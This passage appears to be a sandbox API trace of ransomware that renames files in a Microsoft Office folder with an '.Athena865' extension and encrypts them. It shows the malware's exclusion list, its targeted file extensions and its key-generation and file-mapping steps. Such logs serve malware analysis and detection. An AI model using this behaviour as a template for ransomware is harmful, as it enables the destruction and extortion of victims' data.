(lpString1="L.IDX_DLL", lpString2="Athena865") returned 1 [0140.102] lstrlenW (lpString=".dll") returned 4 [0140.102] lstrcmpiW (lpString1="ENVELOPR.DLL.IDX_DLL", lpString2=".dll") returned 1 [0140.102] lstrlenW (lpString=".lnk") returned 4 [0140.102] lstrcmpiW (lpString1="ENVELOPR.DLL.IDX_DLL", lpString2=".lnk") returned 1 [0140.102] lstrlenW (lpString=".ini") returned 4 [0140.102] lstrcmpiW (lpString1="ENVELOPR.DLL.IDX_DLL", lpString2=".ini") returned 1 [0140.102] lstrlenW (lpString=".sys") returned 4 [0140.102] lstrcmpiW (lpString1="ENVELOPR.DLL.IDX_DLL", lpString2=".sys") returned 1 [0140.102] lstrlenW (lpString="ENVELOPR.DLL.IDX_DLL") returned 20 [0140.102] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL.Athena865") returned 78 [0140.102] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll.idx_dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll.idx_dll.athena865"), dwFlags=0x1) returned 1 [0140.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll.idx_dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0140.104] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=13696) returned 1 [0140.104] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0140.104] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0140.104] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54edd0 [0140.104] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ee58) returned 1 [0140.105] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0140.105] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0140.105] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3880, lpName=0x0) returned 0x154 [0140.107] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3880) returned 0x100000 [0140.109] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ee58) returned 1 [0140.109] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0140.109] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0140.110] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0140.110] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0140.110] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0140.110] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0140.110] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0140.110] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0140.110] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0140.110] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0140.110] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0140.110] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0140.110] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0140.110] CloseHandle (hObject=0x154) returned 1 [0140.110] CloseHandle (hObject=0x17c) returned 1 [0140.110] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0140.110] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54edd0 | out: hHeap=0x4f0000) returned 1 [0140.111] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0140.111] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9e19600, ftCreationTime.dwHighDateTime=0x1c56bc4, ftLastAccessTime.dwLowDateTime=0x508b8a60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf9e19600, ftLastWriteTime.dwHighDateTime=0x1c56bc4, nFileSizeHigh=0x0, nFileSizeLow=0x6a3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EQPLIST.VRD", cAlternateFileName="")) returned 1 [0140.111] lstrcmpiW (lpString1="EQPLIST.VRD", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0140.111] lstrcmpiW (lpString1="EQPLIST.VRD", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0140.111] lstrcmpiW (lpString1="EQPLIST.VRD", lpString2=".") returned 1 [0140.111] lstrcmpiW (lpString1="EQPLIST.VRD", lpString2="..") returned 1 [0140.111] lstrcmpiW (lpString1="EQPLIST.VRD", lpString2="windows") returned -1 [0140.111] lstrcmpiW (lpString1="EQPLIST.VRD", lpString2="bootmgr") returned 1 [0140.111] lstrcmpiW (lpString1="EQPLIST.VRD", lpString2="temp") returned -1 [0140.111] lstrcmpiW (lpString1="EQPLIST.VRD", lpString2="pagefile.sys") returned -1 [0140.111] lstrcmpiW (lpString1="EQPLIST.VRD", lpString2="boot") returned 1 [0140.111] lstrcmpiW (lpString1="EQPLIST.VRD", lpString2="ids.txt") returned -1 [0140.111] lstrcmpiW (lpString1="EQPLIST.VRD", lpString2="ntuser.dat") returned -1 [0140.111] lstrcmpiW (lpString1="EQPLIST.VRD", lpString2="perflogs") returned -1 [0140.111] lstrcmpiW (lpString1="EQPLIST.VRD", lpString2="MSBuild") returned -1 [0140.111] lstrlenW (lpString="EQPLIST.VRD") returned 11 [0140.111] lstrcpyW (in: lpString1=0x241e8a8, lpString2="EQPLIST.VRD" | out: lpString1="EQPLIST.VRD") returned="EQPLIST.VRD" [0140.111] lstrlenW (lpString="EQPLIST.VRD") returned 11 [0140.111] lstrlenW (lpString="Athena865") returned 9 [0140.111] lstrcmpiW (lpString1="PLIST.VRD", lpString2="Athena865") returned 1 [0140.111] lstrlenW (lpString=".dll") returned 4 [0140.111] lstrcmpiW (lpString1="EQPLIST.VRD", lpString2=".dll") returned 1 [0140.111] lstrlenW (lpString=".lnk") returned 4 [0140.112] lstrcmpiW (lpString1="EQPLIST.VRD", lpString2=".lnk") returned 1 [0140.112] lstrlenW (lpString=".ini") returned 4 [0140.112] lstrcmpiW (lpString1="EQPLIST.VRD", lpString2=".ini") returned 1 [0140.112] lstrlenW (lpString=".sys") returned 4 [0140.112] lstrcmpiW (lpString1="EQPLIST.VRD", lpString2=".sys") returned 1 [0140.112] lstrlenW (lpString="EQPLIST.VRD") returned 11 [0140.112] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD.Athena865") returned 69 [0140.112] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eqplist.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eqplist.vrd.athena865"), dwFlags=0x1) returned 1 [0140.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eqplist.vrd.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0140.114] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1699) returned 1 [0140.114] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0140.114] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0140.114] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54edd0 [0140.114] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ee58) returned 1 [0140.115] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0140.115] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0140.115] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9b0, lpName=0x0) returned 0x154 [0140.117] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9b0) returned 0x100000 [0140.118] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ee58) returned 1 [0140.118] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0140.118] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0140.119] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0140.119] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0140.119] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0140.119] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0140.119] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0140.119] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0140.119] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0140.119] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0140.119] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0140.119] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0140.119] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0140.119] CloseHandle (hObject=0x154) returned 1 [0140.119] CloseHandle (hObject=0x17c) returned 1 [0140.119] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0140.119] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54edd0 | out: hHeap=0x4f0000) returned 1 [0140.120] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0140.120] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a197900, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0xfa246eb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8a197900, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x6b2dfe, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EXCEL.DEV.HXS", cAlternateFileName="EXCELD~1.HXS")) returned 1 [0140.120] lstrcmpiW (lpString1="EXCEL.DEV.HXS", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0140.120] lstrcmpiW (lpString1="EXCEL.DEV.HXS", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0140.120] lstrcmpiW (lpString1="EXCEL.DEV.HXS", lpString2=".") returned 1 [0140.120] lstrcmpiW (lpString1="EXCEL.DEV.HXS", lpString2="..") returned 1 [0140.120] lstrcmpiW (lpString1="EXCEL.DEV.HXS", lpString2="windows") returned -1 [0140.120] lstrcmpiW (lpString1="EXCEL.DEV.HXS", lpString2="bootmgr") returned 1 [0140.120] lstrcmpiW (lpString1="EXCEL.DEV.HXS", lpString2="temp") returned -1 [0140.120] lstrcmpiW (lpString1="EXCEL.DEV.HXS", lpString2="pagefile.sys") returned -1 [0140.120] lstrcmpiW (lpString1="EXCEL.DEV.HXS", lpString2="boot") returned 1 [0140.120] lstrcmpiW (lpString1="EXCEL.DEV.HXS", lpString2="ids.txt") returned -1 [0140.120] lstrcmpiW (lpString1="EXCEL.DEV.HXS", lpString2="ntuser.dat") returned -1 [0140.120] lstrcmpiW (lpString1="EXCEL.DEV.HXS", lpString2="perflogs") returned -1 [0140.120] lstrcmpiW (lpString1="EXCEL.DEV.HXS", lpString2="MSBuild") returned -1 [0140.120] lstrlenW (lpString="EXCEL.DEV.HXS") returned 13 [0140.120] lstrcpyW (in: lpString1=0x241e8a8, lpString2="EXCEL.DEV.HXS" | out: lpString1="EXCEL.DEV.HXS") returned="EXCEL.DEV.HXS" [0140.120] lstrlenW (lpString="EXCEL.DEV.HXS") returned 13 [0140.120] lstrlenW (lpString="Athena865") returned 9 [0140.120] lstrcmpiW (lpString1="L.DEV.HXS", lpString2="Athena865") returned 1 [0140.120] lstrlenW (lpString=".dll") returned 4 [0140.120] lstrcmpiW (lpString1="EXCEL.DEV.HXS", lpString2=".dll") returned 1 [0140.120] lstrlenW (lpString=".lnk") returned 4 [0140.120] lstrcmpiW (lpString1="EXCEL.DEV.HXS", lpString2=".lnk") returned 1 [0140.120] lstrlenW (lpString=".ini") returned 4 [0140.121] lstrcmpiW (lpString1="EXCEL.DEV.HXS", lpString2=".ini") returned 1 [0140.121] lstrlenW (lpString=".sys") returned 4 [0140.121] lstrcmpiW (lpString1="EXCEL.DEV.HXS", lpString2=".sys") returned 1 [0140.121] lstrlenW (lpString="EXCEL.DEV.HXS") returned 13 [0140.121] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS.Athena865") returned 71 [0140.121] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev.hxs.athena865"), dwFlags=0x1) returned 1 [0140.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev.hxs.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0140.123] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7024126) returned 1 [0140.123] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0140.123] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0140.123] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54edd0 [0140.123] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ee58) returned 1 [0140.124] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0140.124] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0140.124] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6b3100, lpName=0x0) returned 0x154 [0140.126] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x600000, dwNumberOfBytesToMap=0xb3100) returned 0x2bb0000 [0140.161] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x2c70000 [0140.231] UnmapViewOfFile (lpBaseAddress=0x2c70000) returned 1 [0140.248] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ee58) returned 1 [0140.248] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0140.248] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0140.248] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0140.249] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0140.249] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0140.249] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0140.249] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0140.249] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0140.249] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0140.249] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0140.249] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0140.249] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0140.249] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1 [0140.255] CloseHandle (hObject=0x154) returned 1 [0140.255] CloseHandle (hObject=0x17c) returned 1 [0140.255] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0140.255] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54edd0 | out: hHeap=0x4f0000) returned 1 [0140.255] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0140.264] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2472900, ftCreationTime.dwHighDateTime=0x1c9ff31, ftLastAccessTime.dwLowDateTime=0xfa246eb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf2472900, ftLastWriteTime.dwHighDateTime=0x1c9ff31, nFileSizeHigh=0x0, nFileSizeLow=0x281, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EXCEL.DEV_COL.HXC", cAlternateFileName="EXCELD~1.HXC")) returned 1 [0140.264] lstrcmpiW (lpString1="EXCEL.DEV_COL.HXC", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0140.264] lstrcmpiW (lpString1="EXCEL.DEV_COL.HXC", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0140.264] lstrcmpiW (lpString1="EXCEL.DEV_COL.HXC", lpString2=".") returned 1 [0140.264] lstrcmpiW (lpString1="EXCEL.DEV_COL.HXC", lpString2="..") returned 1 [0140.264] lstrcmpiW (lpString1="EXCEL.DEV_COL.HXC", lpString2="windows") returned -1 [0140.264] lstrcmpiW (lpString1="EXCEL.DEV_COL.HXC", lpString2="bootmgr") returned 1 [0140.264] lstrcmpiW (lpString1="EXCEL.DEV_COL.HXC", lpString2="temp") returned -1 [0140.264] lstrcmpiW (lpString1="EXCEL.DEV_COL.HXC", lpString2="pagefile.sys") returned -1 [0140.264] lstrcmpiW (lpString1="EXCEL.DEV_COL.HXC", lpString2="boot") returned 1 [0140.264] lstrcmpiW (lpString1="EXCEL.DEV_COL.HXC", lpString2="ids.txt") returned -1 [0140.264] lstrcmpiW (lpString1="EXCEL.DEV_COL.HXC", lpString2="ntuser.dat") returned -1 [0140.264] lstrcmpiW (lpString1="EXCEL.DEV_COL.HXC", lpString2="perflogs") returned -1 [0140.264] lstrcmpiW (lpString1="EXCEL.DEV_COL.HXC", lpString2="MSBuild") returned -1 [0140.264] lstrlenW (lpString="EXCEL.DEV_COL.HXC") returned 17 [0140.264] lstrcpyW (in: lpString1=0x241e8a8, lpString2="EXCEL.DEV_COL.HXC" | out: lpString1="EXCEL.DEV_COL.HXC") returned="EXCEL.DEV_COL.HXC" [0140.264] lstrlenW (lpString="EXCEL.DEV_COL.HXC") returned 17 [0140.264] lstrlenW (lpString="Athena865") returned 9 [0140.264] lstrcmpiW (lpString1="V_COL.HXC", lpString2="Athena865") returned 1 [0140.264] lstrlenW (lpString=".dll") returned 4 [0140.264] lstrcmpiW (lpString1="EXCEL.DEV_COL.HXC", lpString2=".dll") returned 1 [0140.264] lstrlenW (lpString=".lnk") returned 4 [0140.264] lstrcmpiW (lpString1="EXCEL.DEV_COL.HXC", lpString2=".lnk") returned 1 [0140.264] lstrlenW (lpString=".ini") returned 4 [0140.264] lstrcmpiW (lpString1="EXCEL.DEV_COL.HXC", lpString2=".ini") returned 1 [0140.264] lstrlenW (lpString=".sys") returned 4 [0140.264] lstrcmpiW (lpString1="EXCEL.DEV_COL.HXC", lpString2=".sys") returned 1 [0140.264] lstrlenW (lpString="EXCEL.DEV_COL.HXC") returned 17 [0140.265] lstrlenW (lpString="bak") returned 3 [0140.265] lstrcmpiW (lpString1="HXC", lpString2="bak") returned 1 [0140.265] lstrlenW (lpString="ba_") returned 3 [0140.265] lstrcmpiW (lpString1="HXC", lpString2="ba_") returned 1 [0140.265] lstrlenW (lpString="dbb") returned 3 [0140.265] lstrcmpiW (lpString1="HXC", lpString2="dbb") returned 1 [0140.265] lstrlenW (lpString="vmdk") returned 4 [0140.265] lstrcmpiW (lpString1=".HXC", lpString2="vmdk") returned -1 [0140.265] lstrlenW (lpString="rar") returned 3 [0140.265] lstrcmpiW (lpString1="HXC", lpString2="rar") returned -1 [0140.265] lstrlenW (lpString="zip") returned 3 [0140.265] lstrcmpiW (lpString1="HXC", lpString2="zip") returned -1 [0140.265] lstrlenW (lpString="tgz") returned 3 [0140.265] lstrcmpiW (lpString1="HXC", lpString2="tgz") returned -1 [0140.265] lstrlenW (lpString="vbox") returned 4 [0140.265] lstrcmpiW (lpString1=".HXC", lpString2="vbox") returned -1 [0140.265] lstrlenW (lpString="vdi") returned 3 [0140.265] lstrcmpiW (lpString1="HXC", lpString2="vdi") returned -1 [0140.265] lstrlenW (lpString="vhd") returned 3 [0140.265] lstrcmpiW (lpString1="HXC", lpString2="vhd") returned -1 [0140.265] lstrlenW (lpString="vhdx") returned 4 [0140.265] lstrcmpiW (lpString1=".HXC", lpString2="vhdx") returned -1 [0140.265] lstrlenW (lpString="avhd") returned 4 [0140.265] lstrcmpiW (lpString1=".HXC", lpString2="avhd") returned -1 [0140.265] lstrlenW (lpString="db") returned 2 [0140.265] lstrcmpiW (lpString1="XC", lpString2="db") returned 1 [0140.265] lstrlenW (lpString="db2") returned 3 [0140.265] lstrcmpiW (lpString1="HXC", lpString2="db2") returned 1 [0140.265] lstrlenW (lpString="db3") returned 3 [0140.265] lstrcmpiW (lpString1="HXC", lpString2="db3") returned 1 [0140.266] lstrlenW (lpString="dbf") returned 3 [0140.266] lstrcmpiW (lpString1="HXC", lpString2="dbf") returned 1 [0140.266] lstrlenW (lpString="mdf") returned 3 [0140.266] lstrcmpiW (lpString1="HXC", lpString2="mdf") returned -1 [0140.266] lstrlenW (lpString="mdb") returned 3 [0140.266] lstrcmpiW (lpString1="HXC", lpString2="mdb") returned -1 [0140.266] lstrlenW (lpString="sql") returned 3 [0140.266] lstrcmpiW (lpString1="HXC", lpString2="sql") returned -1 [0140.266] lstrlenW (lpString="sqlite") returned 6 [0140.266] lstrcmpiW (lpString1="OL.HXC", lpString2="sqlite") returned -1 [0140.266] lstrlenW (lpString="sqlite3") returned 7 [0140.266] lstrcmpiW (lpString1="COL.HXC", lpString2="sqlite3") returned -1 [0140.266] lstrlenW (lpString="sqlitedb") returned 8 [0140.266] lstrcmpiW (lpString1="_COL.HXC", lpString2="sqlitedb") returned -1 [0140.266] lstrlenW (lpString="xml") returned 3 [0140.266] lstrcmpiW (lpString1="HXC", lpString2="xml") returned -1 [0140.266] lstrlenW (lpString="$er") returned 3 [0140.266] lstrcmpiW (lpString1="HXC", lpString2="$er") returned 1 [0140.266] lstrlenW (lpString="4dd") returned 3 [0140.266] lstrcmpiW (lpString1="HXC", lpString2="4dd") returned 1 [0140.266] lstrlenW (lpString="4dl") returned 3 [0140.266] lstrcmpiW (lpString1="HXC", lpString2="4dl") returned 1 [0140.266] lstrlenW (lpString="^^^") returned 3 [0140.266] lstrcmpiW (lpString1="HXC", lpString2="^^^") returned 1 [0140.266] lstrlenW (lpString="abs") returned 3 [0140.266] lstrcmpiW (lpString1="HXC", lpString2="abs") returned 1 [0140.266] lstrlenW (lpString="abx") returned 3 [0140.266] lstrcmpiW (lpString1="HXC", lpString2="abx") returned 1 [0140.266] lstrlenW (lpString="accdb") returned 5 [0140.267] lstrcmpiW (lpString1="L.HXC", lpString2="accdb") returned 1 [0140.267] lstrlenW (lpString="accdc") returned 5 [0140.267] lstrcmpiW (lpString1="L.HXC", lpString2="accdc") returned 1 [0140.267] lstrlenW (lpString="accde") returned 5 [0140.267] lstrcmpiW (lpString1="L.HXC", lpString2="accde") returned 1 [0140.267] lstrlenW (lpString="accdr") returned 5 [0140.267] lstrcmpiW (lpString1="L.HXC", lpString2="accdr") returned 1 [0140.267] lstrlenW (lpString="accdt") returned 5 [0140.267] lstrcmpiW (lpString1="L.HXC", lpString2="accdt") returned 1 [0140.267] lstrlenW (lpString="accdw") returned 5 [0140.267] lstrcmpiW (lpString1="L.HXC", lpString2="accdw") returned 1 [0140.267] lstrlenW (lpString="accft") returned 5 [0140.267] lstrcmpiW (lpString1="L.HXC", lpString2="accft") returned 1 [0140.267] lstrlenW (lpString="adb") returned 3 [0140.267] lstrcmpiW (lpString1="HXC", lpString2="adb") returned 1 [0140.267] lstrlenW (lpString="adb") returned 3 [0140.267] lstrcmpiW (lpString1="HXC", lpString2="adb") returned 1 [0140.267] lstrlenW (lpString="ade") returned 3 [0140.267] lstrcmpiW (lpString1="HXC", lpString2="ade") returned 1 [0140.267] lstrlenW (lpString="adf") returned 3 [0140.267] lstrcmpiW (lpString1="HXC", lpString2="adf") returned 1 [0140.267] lstrlenW (lpString="adn") returned 3 [0140.267] lstrcmpiW (lpString1="HXC", lpString2="adn") returned 1 [0140.267] lstrlenW (lpString="adp") returned 3 [0140.267] lstrcmpiW (lpString1="HXC", lpString2="adp") returned 1 [0140.267] lstrlenW (lpString="alf") returned 3 [0140.267] lstrcmpiW (lpString1="HXC", lpString2="alf") returned 1 [0140.267] lstrlenW (lpString="ask") returned 3 [0140.267] lstrcmpiW (lpString1="HXC", lpString2="ask") returned 1 [0140.268] lstrlenW (lpString="btr") returned 3 [0140.268] lstrcmpiW (lpString1="HXC", lpString2="btr") returned 1 [0140.268] lstrlenW 